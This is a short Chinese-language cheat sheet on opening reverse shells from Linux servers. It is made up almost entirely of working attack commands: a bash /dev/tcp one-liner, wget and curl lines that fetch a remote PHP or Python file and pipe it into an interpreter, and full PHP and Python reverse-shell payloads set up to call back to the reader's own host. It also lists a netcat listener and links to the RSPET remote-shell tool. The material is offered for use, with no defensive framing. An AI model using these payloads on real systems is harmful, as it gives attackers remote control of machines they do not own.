0x01 直接利用linux上的bash进行反弹
nc本地监听
nc -l -p port -vv</span>
base反弹
bash -i >& /dev/tcp/ownip/port 0>&1
0x02 利用其他服务器运行环境反弹,比如php,python等。
nc本地监听 nc -l -p port -vv</span>
由于一般php语句在服务器容易出错,可以利用下面的linux命令,把这段php放到自己的服务器上
linux命令如下
需要反弹的ip和端口填写自己的外网ip和端口任意,保存到自己的服务器上为test.txt文件即可。
wget方式
利用wget进行下载执行 wget http://localhost/test.txt -O /tmp/x.php && php /tmp/x.php
test.txt内容
<?php $sock=fsockopen("localhost",12345);//localhost为自己的外网ip,端口任意 exec("/bin/sh -i <&3 >&3 2>&3"); ?>
curl方式利用curl进行执行 curl -sS http://localhost/test.py | python
test.py文件
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("localhost",12345)) #更改localhost为自己的外网ip,端口任意
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
#这个没有测试成功
0x03基于python的反连shell工具
服务端运行
python RSPET_server.py (max_connections)
客户端执行
python RSPET_client.py server_ip
服务端文件
https://github.com/panagiks/RSPET/blob/master/Server/RSPET_server.py
https://raw.githubusercontent.com/panagiks/RSPET/master/Server/RSPET_server.py
客户端文件
https://github.com/panagiks/RSPET/blob/master/Client/RSPET_client.py
https://raw.githubusercontent.com/panagiks/RSPET/master/Client/RSPET_client.py
0x04 其他反弹shell方法,可以参考如下文章
参考:
http://www.freebuf.com/sectool/105698.html
http://www.myhack58.com/Article/html/3/8/2014/48255.htm
http://www.waitalone.cn/linux-shell-rebound-under-way.html